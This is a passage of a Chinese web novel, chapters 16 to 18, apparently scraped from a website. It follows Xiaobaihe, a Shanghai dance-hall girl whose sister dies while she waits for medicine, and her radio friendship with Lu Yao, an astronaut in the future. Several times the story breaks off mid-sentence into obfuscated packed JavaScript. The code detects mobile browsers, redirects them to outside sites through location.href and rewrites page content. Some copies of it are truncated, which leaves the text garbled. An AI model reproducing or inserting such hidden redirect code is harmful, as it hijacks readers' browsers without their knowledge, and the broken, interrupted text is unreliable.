小百合不由一怔。在她面前,谭荣名似乎永远是克制而彬彬有礼的,她从没想过,他还有这般情感外露的一面。 他的语气又缓和了一些,接着道:“从三天前你突然回来,直到现在,我哪时没有陪着你,哪里做得不好,惹你生气了?只不过是离开一会,你对着我使性子也就罢了,又何必对你哥哥撂脸子?” 那美仪沉默了片刻,又道:“好,那我问你,如果我现在决定回国来,你选她,还是选我?” 谭荣名一时没能回答,美仪顿时更气了:“你竟然犹豫!你居然当真拿我和那个女人相比!她们千乐门里的都是什么人?该是只有门口的车号牌子是干净的罢?你居然真的拿我和她们比!” 谭荣名道:“我没有拿你们相比……只是,小百合她与别人不同。她很单纯的,不像你说的那样。” 那美仪道:“小百合?哈!这叫什么名字?别告诉我,你连她的真名都不知道?” 谭荣名道:“这就是她的真名。” 美仪冷哼一声,道:“你说是就是罢。”她的语气忽然一冷,又道,“好,就算你说的是真的,她与别人不同。那你未来打算怎么办呢?难道你还能真的把她带回家吗?韩家出了一个楚艳雪,搞得众人皆知,就够丢人的了。但谁都知道他韩家的大少爷本来就是个浪荡子。如果轮到你,你就不怕生生把你父亲气死,让整个上海滩的人看笑话?” 谭荣名一时语塞,只道:“我暂时还没想那么多。我只知道,我现在与她在一起很开心,这就够了。” “你可真是个懦夫!”说着,小百合听到了她踩着高跟鞋“蹬蹬”远去的声音。 谭荣名又追了过去:“等等!美仪,你到底要去哪!” 小百合探出头来,只见那名为“美仪”的女子果然人如其名,一身剪裁得体的旗袍勾勒出玲珑的身段,一头长卷发上只别了一根羽毛,飘然散落在她的肩头。哪怕在走路时,她的下巴依然仰得高高的,仿佛任何人、任何事都从来不在她的眼中。 “真好啊。”小百合有点羡慕地想。 她思考了片刻要不要先行离开,或者去舞厅等着谭荣名——既然他说要拿药给她,或许会去舞厅找她。可又生怕谭荣名突然改了主意,不小心又耽搁一天。 小百合思来想去,只道他无论去做什么,总是要回家的。就算真的去了舞厅或者她家,没找到小百合,也要回来。于是,她对着手心哈了一口气,找了个不碍事又避风的地方,靠着墙,蜷坐下来。 如果谭荣名回来时带了药最好,如果没带药,那她就去求他,拜托他立刻去拿。若是那位美仪姑娘和他一起回来了……想到这,小百合不由得心口一窒——那也没有办法。蔓蔓的病情已经等不得了。 她的尊严与蔓蔓的性命相比,可谓不值一提。 前几天下的雪已经融化了,但空气中仍有丝丝寒意。幸好富人区没有太多过路的行人,小百合可以不时站起身来活动活动手脚,暖暖身子,也不会引起太多的注意。 她来到这里时正午刚过。小百合等啊等,一直等到太阳西斜,阳光照得她身上微微发了汗,又彻底凉了下去。天空中的星星一颗一颗地亮起,一如路边洋房里一盏一盏的灯光。 有路过的巡警发现了她,上前询问,被小百合以“等待朋友”为由三言两语地搪塞了过去。 她反复地对自己说:“都这个时候了,他总该回来了吧?” 可一个小时又一个小时过去了,谭荣名依然不见踪影。窗户里的灯光如亮起时般一盏一盏地熄灭,而后是路边的街灯。 她不必再担忧是否会妨碍别人,直接坐在了谭荣名家的门口。 在一片如墨般深浓的漆黑中,小百合因寒冷而不由自主地打起抖来。 “如果其实他一直在舞厅等我,那就太可笑了。”她似睡非睡地想。可她已经等了太久,也太累了,竟不知不觉地靠着墙睡了过去。 在朦胧中,她仿佛做了一个好梦,那时的她尚未被父母抛弃,整个人被温暖地包裹在襁褓之中。 然后,她醒了。 天色已经从深黑逐渐发蓝,然而仍要许久才能见到日光。 小百合踉跄了一下,艰难地站起身,试着动了动手指,只觉自己的身体宛如一块僵硬的石头,再也没有任何知觉。 她平静地想:“他不会再回来了。” 之后,小百合来到一条热闹些的大街上,拦了一辆黄包车。那车夫大约也是才起,一边慢慢地跑着,一边不时打着哈欠。 到了千乐门,守夜的门卫看到小百合,登时一惊,道:“你的脸色怎么这么白?”他握住小百合的手,又是一惊,“手怎么这么凉?我去找人给你做点喝的!” 说着,正要回身离开,却被小百合反手捉住,问道:“从昨天到现在……有没有什么人来找过我?或者,给我留下什么口信,或东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573178|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西?” 就算昨天值班的人不是这名门卫,客人留下的消息也会被传递给他。 然而,那门卫迷茫地摇了摇头,道:“没有。没有听说有什么口信,也没有什么客人来找过你呀!” 小百合牵动了一下嘴角,却没有任何笑意。 她做舞女做了这么久,一直自诩身在局中,行若无事,却原来也在何时不知不觉地入了戏吗? 那门卫道:“你等等,先别说这个了!我去让后厨给你做碗姜糖水喝!”说着,转身跑进大门。 可等他再出来时,门口早已不见小百合的踪影。 蔓蔓是孙老三送去医院的。小百合只知道她在哪个医院,却不知道她在哪个病房,只得一个人一个人地问过去。 问到不知第几个,终于等到一位好心的医生,替她查阅了登记名册,道有一位名叫“孙蔓蔓”的病人在昨天入住了病房。 然而,当小百合依着他告诉的病房号找去,屋中却只有一位老人、一个中年的女子和一个空着的病床。 小百合迷茫了。等待一夜的疲惫,以及身体中残留的阵阵寒气让她的脑中仿佛蒙着一层薄雾,混沌而茫然。 她再次去一个一个人地询问,再次查阅名册,仍是一样的结果。 小百合宛如无头的苍蝇般在医院中乱撞着,只道,若是她一个病房一个病房地找过去,总能找到蔓蔓的吧? 然而,没等她将这个想法付诸实践,刚走到医院的大厅,她便撞入一个人的怀中。等那人握住她的肩膀,将她从怀中拉开,小百合才意识到那是孙老三。 她顿时松了一口气,道:“三哥!终于找到你了!我问了他们蔓蔓的病房在哪,可那屋里压根没有她!蔓蔓到底去哪里了?” 孙老三的眼中透出悲伤,欲言又止了片刻,才道:“我已经把蔓蔓拉回去了。我在这是为了等你。” 小百合奇道:“拉回去了?为什么要拉回去?她好转了吗?针不是还没打吗?” 孙老三道:“先别说了。先回去吧。蔓蔓在等着呢。” 在回程的路上,任凭小百合如何追问,孙老三依旧沉默不语,她也只得不再问了。 孙老三的车拉得快而平稳,从早上到现在,小百合终于生出了一点睡意。然而,仿佛她刚刚闭上眼,下一刻,车便停了下来。孤儿院到了。 院子里没有人,连平时总是第一个发现她的孙十一都不在。 在一片静寂之中,小百合似乎听到隐隐的哭声。 她的心中终于生出一股不祥的预感,慢慢地、慢慢地走向二楼。 哭声渐渐地大了起来,所有人都聚集在了一间屋子的门口,甚至他们平日里神龙见首不见尾的院长都站在那里,见小百合上来,无奈地瞥了她一眼。 小百合浑身发起抖来,她又一次感到了刺骨的寒冷,比昨夜更甚。 她一个个地拨开挡在她眼前的人,进到屋中。 蔓蔓的床上躺着一个人,白布遮脸,甚至不必掀开,就知道那底下是谁。 蔓蔓死了。 17.第16章 蔓蔓的葬礼是在一间小教堂举行的。 资助他们孤儿院的那位爵士是个虔诚的基督徒,早年便与这教堂的牧师相熟。他们所有人的洗礼、圣餐礼,以及夭折孩子们的葬礼都是在这举行的。 后来爵士回国,他们的院长不再讲究那些复杂的仪式,却仍把后一个习惯延续了下来。 小百合穿着一身黑衣,恍惚地看着那上了年纪的牧师站在棺木前,为蔓蔓的灵魂祈祷。与蔓蔓瘦小的身形相比,她的棺木显得无比巨大——那是一户有钱人家做到一半又不要了的,被他们的院长以一个很低的价格买了下来。 “啊,忘记把她喜欢的那条项链让她带走了。”小百合想。 她的心又抽痛起来。 为什么呢?为什么她当初就不能直接把那条项链送给她,而一定要买一条廉价的替代品呢? 蔓蔓从小就是一个好孩子。 孤儿院的资源有限,但无论是吃的、穿的、用的、玩的,蔓蔓从来都不会去争抢。她的衣服是最破的,馍块是最小的,玩具都是别人不想要的。 但她从来没有抱怨过,总是一副笑呵呵的模样。小百合看不下去,出手替她争抢,她却慌忙将她拦住。 “我不要紧的,这个就很好了!” “没事,我吃饱了的。这块你吃吧!” “我不冷!这件多漂亮呀!” 她总是笑着说。 所以,她才长得这般瘦小。 所以,她才会轻易被人撞倒。 甚至连她对小百合说的最后一句话,都是在道歉,为她给别人添了麻烦。 回想起当时的场景,小百合不由地捂住心口,支撑不住地弯下身来。台上的牧师瞥了她一眼,似乎对她的反应见怪不怪,仍在不断地念诵经文。 老二、阿玫、老五、老六、小蝶。 为什么她明明已经经历过这么多次,却仍然无法习惯? “不,这次不一样。”小百合想。这次是她的错。她明明知道蔓蔓的情况已经不好,又为什么不早些去找谭荣名? 为了矜持吗?为了保住谭荣名对她的一丝好感吗? 小百合在心底惨笑起来,为她自己都不自知的那一分痴心妄想。是呀,她是多么的可笑啊!更可笑的是,她在此之前,甚至连这一点都没有发现。 牧师念完了最后一句祷词,指挥守在一旁的力工将蔓蔓的棺木放上马车,拉去郊区的公墓安葬。 小百合无意识地追了出去。她不知道自己追了多久,直到孙老三强行将她拦住,她才瘫坐在地,哭出了声。 当晚回到家时,小百合已然身心俱疲。 她慢慢地坐到桌前的椅子上,拿出手帕抚尽桌上的落尘,而后,轻轻地拧开了收音机。 从得知蔓蔓生病开始,除了偶尔回来拿几身衣服,她便没有回过家了,自然也没有机会和陆遥联络。 熟悉的沙沙声立刻传来,小百合忽然无比希望,今天是能和陆遥说上话的一天。 她等待着。 最近这段时间,她似乎总是在等待。等待蔓蔓能够好转,等待孙老三买药回来,等待谭荣名。到了此时,她依然在等待,只不过,等待的人变成了陆遥。 然而,这念头刚起,沙沙声骤然中断,陆遥的声音响了起来,道:“咦?小百合?你今天怎么突然有时间了?前两天都没有听到你的消息!” 泪水涌上来,小百合忽然哽咽了。她原以为她的眼泪早已哭干,原来还是有的吗? 她清了清嗓子,道:“我……我的一个妹妹去世了。” 陆遥的声音顿时严肃了几分,道:“去世了?怎么回事?” 小百合将事情的原委一一道来,陆遥沉默地听着。 当她说到百浪多息,陆遥不由一怔,在搜索栏打下这几个字,才知道那是在二战前常用的一种抗菌药,过不了多少年,便会被青霉素,以及别的更为有效和便宜的药物替代。 只是……就算那时青霉素已经被发现,恐怕也用不到蔓蔓的身上,陆遥不忍地想。 青霉素被发现的初期贵若黄金,正如小百合的三哥找遍周遭的药店也找不到一支百浪多息,这些药恐怕刚刚进口,就被各地的军阀包揽了去,拿去治疗在战场上受了伤的首领和军官。连一般的普通士兵都用不上,更不会轻易地流入民间。 而且,根据小百合描述的蔓蔓的感染情况,除非截肢,就算有一百支百浪多息可能也起不了作用。 陆遥犹豫着要不要告诉小百合,又该怎么说。 她说,她连蔓蔓的最后一面都没有见到。 小百合得知真相后是会释然,还是会更加悲痛? 她讲述中的蔓蔓在一百多年前就已作古,就连“百浪多息”这个名词都早已成为历史书中的陈迹,可从耳机中传来的哭泣是如此真实,让陆遥不由地再三踌躇。 另一头,小百合似是说得累了,轻轻打了个哈欠,语气中有了睡意。 说来也是。“一天一夜”这个词在她的讲述中一带而过。然而,或许只有真正体会过,才能明白其中的艰难,理解她话语中竭力掩饰的苦涩。 小百合低低地叹息了一声。陆遥想,她一定是歪头趴在了桌子上。 在半梦半醒的朦胧中,小百合仿佛再也压抑不住早就深藏心底的哀伤,如同吐出一枚在心头凝结许久,越长越大的苦果一般,把藏在心底的话吐了出来,喃喃地道:“大概像我们这样的人,就是命如草芥,合该任人践踏,随风飘散的吧……” 陆遥一愣,道:“不许你这么说!” 她的语气是如此严肃,甚至把几乎马上就要睡着的小百合惊醒了。她从桌子上慢慢地爬了起来,呆呆地道:“什么?” 陆遥道:“我说,不许你这么说!”她顿了顿,又道,“你的命不是什么草芥,更不该任人践踏。你是一个人,一个堂堂正正的人,一个善良而聪慧的人,你的命,就和任何其他人一样平等。” 小百合笑了:“我好像在哪里听到过这个说法,‘人人生而平等’,什么什么的。可是,阿遥,这样写在纸上的漂亮话,你真的相信吗?” 陆遥迟疑了片刻,道:“我信。尽管它暂时还没有实现,但仍有数不清的,一代一代的人在为之努力,为之奋斗。如果没有过去的他们……过去的你们,就没有现在的我。如果没有相信它会成真的坚定的信念,那么它就更不可能成为现实。” 小百合静静地听着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582767|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆遥接着道:“至少,无论贫穷还是富有,健全还是残疾,男人还是女人,我们的人格和尊严都是平等的。所以,我不能允许你那么说,哪怕对象是你自己。如果有人侮辱你,轻贱你,蔑视你,不要容忍,更不要听信。那是他们的错,不是你的。” 她顿了顿,又道:“至于蔓蔓……她的死不是你的错。她只是不够幸运。早在你替她寻找百浪多息之前,她的伤已经太过严重,没法治好了。” 小百合默然了片刻,道:“原来如此。”又反问道,“如果蔓蔓生在你们的那个时代,她会活下来吗?” 陆遥毫不迟疑地道:“会。在一百年后……有很多疾病都已经能够得到治愈。” 这一刻,小百合终于露出了这几天第一个发自内心的微笑,她道:“好。” 说完,她们的通话便中断了。 陆遥原以为是小百合关掉了她的收音机,然而,下一秒,她的门口就响起了敲门声。 安德烈的脑袋探了进来,道:“咦?遥,你刚刚在和谁说话吗?我怎么好像听到了你的声音?” 陆遥道:“没什么。我在读书,念出声来能让我更好地理解。” 安德烈道:“哦,这样!我们准备看电影了,你要不要一起来?” 陆遥道:“好。你们先看着,我马上过来!” 他们这次选择的是一个经典的科幻喜剧片,安德烈和阿列克谢不时发出“哈哈”的大笑声,王亦刚也面带微笑,看得十分专注。 然而,陆遥的思绪却远远地飘走了。 按照自然科学的原则,在野外观察动物的摄影师或生物学家,不应该去干扰自然的循环,或者说,动物们既定的命运。而在数不清的科幻作品中,一位又一位的科幻作家不断地告诫人类,不要去扰乱时间。 科学家的使命是研究与观察。 可是,假如他们观察的对象是人呢? 人的尊严和科学的伦理,究竟孰轻孰重? 随着与小百合越来越熟悉,越发了解她的生活,了解她的喜悦与痛苦,欢乐与哀伤,陆遥发觉自己越来越难以保持距离,袖手旁观。 她记得她的父亲曾对他讲过,他的曾祖父年轻时曾在上海打拼,认识了不少有头有脸的朋友。细算下来,正是小百合所在的年代。 帮助她一个人,而不影响他人的命运,以及整个历史的发展,这可能吗? 陆遥自问。 爱德华·洛伦茨曾说:“南美洲的一只蝴蝶扇动翅膀,可能引发得克萨斯的一场龙卷风。” 假如她扇动了小百合的翅膀,又会在人类历史上引发怎样的龙卷风呢? 而且,为什么是小百合呢? 假如她帮助了她,又为何不帮助别人?只是因为,她恰巧拿到了那个能与陆遥通话的收音机吗? “遥,你怎么了?你不喜欢这个电影吗?”坐在她旁边的阿列克谢歪头看着她道。 陆遥微微一笑,对他摇了摇头,道:“没有,电影很好看!我只是突然想起一点别的事。我们接着看吧!” 说着,她把目光投到屏幕上。 千头万绪,百般虬结,在她心中盘桓的任何一个问题,都没有标准答案。 18.第17章 在发现新元素之后,陆遥他们原本的计划表被先行搁置,这些天的工作重心几乎都是围绕着它进行的。 他们建好了地表实验室,又轮流进行了三次地面作业,使用探测器探测新元素所在的位置,而后采集土壤,对其进行分离。 一日,陆遥正在改进分离程序,突然听到安德烈在叫她——另外两人仍在地表实验室,只有他们两个待在火星空间站。 “怎么了?出了什么事?”陆遥飘到实验舱,问道。 “你看!”安德烈的声音因兴奋而微微颤抖,他示意陆遥看向他的置物盘,盘中是两块不到指肚大的陨石碎片,道,“我对我们采集的所有素材进行了扫描和编码,让AI运算识别它们有什么特征,然后,你猜它发现了什么?” 陆遥道:“什么?” 安德烈道:“这两块碎片的一个表面是互补的,它们有一个配对表面!我演示给你看!” 说着,他用一把镊子固定住其中一个,又夹起另一个,与之拼合,两片陨石碎片几乎严丝合缝地对在了一起。 陆遥微微张开嘴,惊讶地道:“这……” 安德烈点了点头,激动地道:“这说明,所有这些元素可能都来自同一个天体。想想看,这些碎片穿越了宇宙,却基本没有碎裂,没有风化。这证明,这种元素是多么稳定!如果未来能够大量采集,它能派上多少用场!” 陆遥想的却是另一件事,她微微蹙眉道:“可是,既然它的密度这么大,性质这么稳定,那得经受什么程度的冲击,才会把它撞成这么细小的碎片?经过这么剧烈的撞击之后,那颗星体还可能存在吗?” 安德烈想了想,也稍稍冷静了下来,道:“你说的对。不过,它也可能来自一片小行星带,或者只是一个极小的星体,在与与一个巨型天体相撞之后,碎成这样的碎片,也不是不可能的事。只是那样的话,这种元素恐怕就更加难以寻找和采集了。” 说完,他便又把眼睛放回了显微镜的目镜上,专注地观察起来。 陆遥飘在原地,总觉得自己似乎忽略了什么,却又想不出来到底忽略了什么,只得回到了原来的工作中。 之后两日,他们将近期的发现和研究成果汇集成一个完整的报告,准备与地球上的专家们开会研讨。在开会之前,由陆遥负责与地控中心提前对接会议的时间。 她发通话请求,却没想道,接通的居然是林梦晨。 在开始与小百合通话之后,陆遥不必再在不同的时间段随机与她联络,检查通讯器是否异常,呼叫地球的次数便自然而然地减少了。直到这时,她才意识到,她似乎已经有一阵子没有与林梦晨通过话了。 想起她们第一次对话时林梦晨的声音是多么雀跃,陆遥不由地生出几分歉意。但还是正事要紧。 而在她们沟通好开会的具体时间之后,林梦晨果然问了起来,道:“既然开会时间已经敲定,还有另一件事我想要问你。陆遥,我近期没有收到你的通讯请求,请问,有关通讯器的问题是已经解决了吗?” 陆遥道:“是的,抱歉没有及时通知你,通讯器的问题已经解决了。不必担心。” 林梦晨道:“我可否询问导致故障的具体原因?以及,是否需要我就故障问题向上级进行报备?” 陆遥道:“不用了。不是什么大问题。”她想了想如果是小百合会怎么回答,微微一笑,道,“我只是听到了星星的声音。” 听她这么回答,林梦晨顿时一愣,道:“星星的声音?星星……对你说了什么吗?” 陆遥也没想到她会这么反问,微一挑眉,道:“没什么,只是说了一些过去的事。”她有些后悔自己刚刚的心血来潮,又道,“……抱歉,我只是开个玩笑,请不要介意。我这里没有什么需要汇报的了,请问地面是否还有什么事需要我进行配合?” 林梦晨道:“没有了,期待下次与你联络。” 说完,她结束了通话。 通话刚一结束,坐在她右手边的王方丽立刻旋转座椅靠了过来,一手支着脸,忍笑对林梦晨道:“‘星星对你说了什么吗?’你认真的?” 林梦晨懊恼地皱起脸来,“咚”地一声砸在了桌子上,闷声道:“好了,方姐,你别说了……我也不知道我为什么突然会冒出来这么一句。” “呵呵呵呵……”王方丽笑着退了回去,道,“没事,谁都有脑抽的时候。只要下次你们主任在的时候,你别突然冒出来这么一句就行了。幸好他没有检查对话记录的习惯。” “嗯。”林梦晨闷闷地道,“谢谢方姐。” 其实,林梦晨并不是不知道,自己为何会突然问出那样一句话。 陆遥说:“我只是听到了星星的声音。” 只不过短短一句话,却仿佛落入深海的鱼钩般,猛然勾起了她早就埋藏在脑海深处的童年的记忆。 ——她的妈妈也曾对她说过这样的话。 不,或许说过这话的不是她的母亲,而是她的曾祖母,也就是她妈妈的祖母。 在林梦晨小的时候,她的父亲曾经被外派国外,她和她的母亲也便跟了过去。他们驻扎的地方并不繁华,甚至可以说人烟稀少,每到夜晚,除了他们所在的居住区,四周总是漆黑一片,万籁俱寂。 她的父亲工作非常繁忙,总在东奔西跑,而她的母亲也在当地的医院找了一份工作,说要为当地的平民出一份力。于是,有的时候晚上便会只有林梦晨一个人在家。 那时的林梦晨十分怕黑,当她的妈妈在傍晚出门时,每每都要抱住她的腿,不肯让她走。 她的妈妈就会把她抱到院子里,指向天空,对她道:“我不在的时候,你就去看一看天上的星星,仔细听,听一听它们是不是在说话。” 她说,这是她的奶奶给她讲过的故事。 在她奶奶的故事里,她少女时曾经遇到过一颗星星。 那颗星星是她的好朋友,会在她悲伤的时候安慰她,在她低落的时候鼓励她,还对她讲了许多未来的事,说,在未来火车会开得很快,所有人都吃得饱,穿得暖,还能在云间自由地翱翔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谭荣名对她没有任何的义务,取药也只是出于情分。作为客人,哪怕他全然不帮她,也没有什么可以指摘的,更何况他真的把药拿来了呢? 只是耽搁了几天而已。 小百合原本就该对他心存感激才是,又怎么可能会怪他? 况且……陆遥说,蔓蔓其实早就没有救了。 “只是她运气太差。” 小百合淡淡地想。 之后几天,谭荣名几乎日日都会来,比他们刚刚相识时更为勤快。 小百合一如既往与他跳舞、谈笑,仰着脸静静地听他说话。可有的时候,她也会察觉,谭荣名会在某一刻欲言又止地看着她,似是想说些什么,却又无法说出口。 若是在以往,小百合或许会堆起笑来,主动去询问。可此时蔓蔓才去世不久,她便是维持住平日的日常就已费尽心力。 “罢了,就这样吧。”她对自己说。 19.第18章 除了陆遥,朱璇和陶菁也知她心情低落,隔三差五便会约小百合出去逛街玩耍。 许是上次她与她们讨论《月球旅行记》时的语气太过兴奋,让她们错以为小百合极喜爱电影,两个人不时便拿着报纸的末版过来,指着上面“不可不看”“奥秘离奇”“摄人魂魄”云云的巨大宣传字问她:“这个,想不想去看?” 小百合不好总是拒绝,又怕她们露出担心的眼神,哪怕并没有那么感兴趣,也不得不时不时地答应她们,去看上一场。真算下来,这段时间看电影的数量倒抵上了前两年的总和。 一日,她们两个又拉着小百合去市集上闲逛,逛着逛着,便逛到了一个影戏院的门口。剧院门口贴着许多海报,有国人拍的“爱情名片”,也有外来的“欧美巨制”。她们闲来无事,便站在那里看了起来。 看着看着,朱璇突然道:“咦?难道是她?” 陶菁道:“怎么了怎么了?莫非……璇姐你看到什么认识的人了?” 朱璇若有所思地点了点嘴唇,而后,指向边角里一个海报的主角名,道:“这个女角的名字,我好像在哪里听过。” 陶菁讶然道:“真的吗?该不会,她是从我们千乐门出去的吧?” 朱璇睨了她一眼,道:“如果是从千乐门出去的,我还能不认识?”她顿了顿,又道,“之前我随李将军出去见人的时候,好像见过这么一个‘卫香兰’,也是与人作陪去的,唱得一手好曲子。不过,就她那个小家子气的长相,居然还能做主角?” 陶菁道:“也是,‘香兰’这么个名字……在上海滩扔出去一把石头,都能砸中三个。常见得很。也不一定是她。” 小百合想了想,道:“可是,名字常见,‘卫’这个姓倒也没那么常见吧?璇姐,你确定那个人也姓‘卫’?” 朱璇道:“你这么一问,我突然也没那么肯定了。算了,管她是不是呢,和我们也没什么干系,走吧!” 于是议论到此为止。 除了朱璇和陶菁她们两个亦可称之为“体贴”的反常,小百合还发现,那日前来为张妈妈解决问题的,名为“张继显”的青年,突然开始时常在百乐门露脸了。 最初两次还穿着他那日出场时的大衣,每每现身,便引起舞场里一阵骚动,他走到哪,人群便安静到哪。 后来他也学得乖了,终于不知从哪搞来一套齐整的西服,却依然穿得如那般歪歪扭扭。 来了舞厅,他也不跳舞。 只随便找上那么一个角落一坐,便开始喝酒。无论是洋酒、啤酒、香槟酒,都如喝最烈的烧刀子般仰起头来往嘴里倒。 也有人该是听说过他的名号,见他一个人,于是借机上前敬酒,要与他攀兄道弟。每当遇到这种情况,那张继显也话不多说,只从腰间掏出他那日威胁那王老板的手枪,拍在桌上。 见此情形,便是最不识相的人也该明白他是什么意思了。 如此两回,再也没有人去烦他。 按理说,他喝酒便喝酒,原本和小百合是没有什么关系的。可她总觉得,他每次喝酒的地方总是离她很近。无论是在她与人跳舞时,她陪坐在客人的身旁时,还是独自一人在角落歇着时,总是一转眼,就瞧见了张继显的身影。 小百合起初以为只是她的错觉,可一次两次也就罢了,三次四次、五次六次,皆是如此。 有时小百合看到了他,还会偷眼看看周围有没有别人,比如朱璇、莺儿之类。可是,没有,重复出现的只有她。 “总不会这么巧吧?次次都坐在附近。”小百合想,“莫不是,他想请我跳舞,却不知道在舞场里请人跳舞的规矩?” 有些人没怎么来过舞厅这种场合,手脚局促,是免不了的。 可张继显作为冯督理手下的红人,也会这样吗? 随意想想,都是不该的。 那便是欲擒故纵故纵了——资助他们孤儿院的那位爵士除了喜欢古诗词,还喜欢《孙子兵法》,他们院长在小时候也让他们一一背过。 如果这是小百合最初刚来舞厅的时候,想必早就上前去邀请他了。可她最近原本就打不起什么精神,对既有的客人的数量也没有任何不满,于是也懒得理他,便随他去。 小百合每日最期盼的,仍是晚上回到家,打开收音机能听到陆遥的声音。这样的次数不多,因此更加弥足珍贵。 一日,小百合在回家前,正好看到张继显从大门走出去,便与陆遥说起留她小时候背“三十六计”的事。 资助他们的那位爵士很忙,一两个月也来不了一次。但每次他来之前,他们的院长总要连夜抽查他们的功课,看他们的古诗词背得流不流利,通不通畅。一起背、抽着背、给上句接下句,若有谁背不上来,或者出了错,便要在手心里挨板子。 开始只是那些有名的古诗词,后来或许是那位爵士偶然提及了《孙子兵法》和“三十六计”,他们的任务便又多了一样。 他们一伙人中挨板子挨得最多的就是孙老三。到了后来,气得他们院长干脆在每次爵士来时都把他藏起来,只道他已经被人领养出去,不会回来了。 小百合小时候也恨过院长的严厉,一心只想把所有的时间用来和伙伴们玩耍,无论是踢毽子、装拐子,还是捉迷藏、跑马城,都比整日背那枯燥无味的古诗词强得多。 然而,等真正长大了,她却无比感激,他至少教他们认了字。尽管只是让他们背诗,几乎从没讲解过其中的内容,但背得多了,小百合也就自然而然地明白了诗中的意思。 说完了她的经历,小百合转而问陆遥道:“你们小时候,都学些什么呢?” 陆遥道:“我们小时候也学中文,学的,和你们也差不太多。” 小百合惊奇地道:“真的吗?你们也学诗?” 陆遥道:“真的。” 她捡着她仍记得的背了几句,小百合立刻开心地拍起手来:“对对对!这几句我们也是背过的!”她顿了顿,又道,“我也想起了一句讲月亮的诗!‘今人不见古时月,今月曾经照古人’。阿遥,你现在看到的月亮,也曾经照在我的身上呢!” 陆遥心头一震,不知该如何作答。 小百合似也察觉了她话里的沉重之意,又笑着转移了话题,道:“以前我背诗的时候整天想着出去玩了,没想到居然还记得!你小时候是不是也经常和朋友一起在外面玩呀?你们都玩些什么呢?” 陆遥迟疑了片刻,道:“我上学很早,周围的人都比我大,没有什么人来和我做朋友。” 小百合道:“这样啊……”她微微一笑,道,“看来我们阿遥是个天才呢!怪不得会被派到月亮上去!”又道,“我记得,你说你是经过了严格选拔才选上的。那你们都学些什么,考些什么呢?” 陆遥自然不会告诉她,她学的是机械工程或者航空航天工程学,思索片刻,只道:“我们学的是数学、物理和化学。” 小百合讶然道:“数学……就是一加一等于二的那个数学?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612588|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听她这么描述,陆遥不由微微一笑,道:“对。但数学不只有一加一等于二。比如……你和朱璇他们去饭馆里吃饭,点了一份蟹粉狮子头。同样大的一个碟子,只放一层,是四个大狮子头合算,还是五个稍小一点的狮子头合算?” 小百合道:“那自然是……”话没说完,她便愣住了。她从没想过这样的问题,自然更不知道这问题的答案。 陆遥也不答她,接着道:“又比如,你投过骰子吗?” 小百合自己虽没赌过,但离千乐门不远就有赌场,自是对这些赌钱的名堂毫不陌生,于是道:“我自己没投过,但看人投过。” 陆遥道:“好。如果我手里有五枚骰子,扔出去让你猜大小,算它们加在一起有多大,你押哪个数,更有可能赢?” 小百合更惊讶了:“这……也是能算出来的?” 陆遥微笑道:“是的,是可以算出来的。狮子头的大小和骰子的输赢,都是数学。” 小百合默然片刻,道:“也对。二只能是一加一,四却可以是一加三也可以是二加二,若要算骰子的大小,自然是某些数更容易出现。” 陆遥眉头一动。她知道小百合学过基本的加减法,却没想到她的反应会这么快。 小百合又问道:“那,‘物理’和‘化学’,又是什么?” 到小百合所在的年代,牛顿已经入土了两百年,大清也被迫开放了近七十年,该翻译的著作早就翻译了,该知道的原理也早为那个时代的学者所知,陆遥自是没什么不能说的,只道:“你有没有想过,为什么你的毽子踢出去会落下来?为什么一粒一粒的粮食经过酿造,就会变成酒?” 小百合道:“这……也有为什么吗?它们不就是这样的吗?” 陆遥道:“有的。这世界上的万事万物,背后都有它自己的道理。你用左手去拽一拽你的右手。” 小百合如她所言做了,道:“然后呢?” 陆遥道:“是不是你的右手就动不了了?” 小百合道:“对。” 陆遥道:“就像你的左手拉着右手一样,你脚下的土地也在用一股看不见的力气拉着你,让你不要飘到天上。” 小百合喃喃道:“看不见的力气……就像细菌一样吗?” 陆遥一愣,道:“细菌?” 小百合道:“谭荣名告诉我,有一种看不见的生物会钻到人的身体里,让人得病。” 陆遥哭笑不得,又不知该如何反驳,只得道:“嗯,差不多吧。”又接着道,“总而言之,研究这世间万物背后的道理的,就是物理。像粮食变成酒一样,研究一种东西是怎么变成另一种东西的,就是化学。” 她的这两个定义并不完美,但为了方便小百合理解,也只得如此了。 这一次,小百合沉默的时间更久了。过了许久,她才道:“原来是这样。真有意思……” 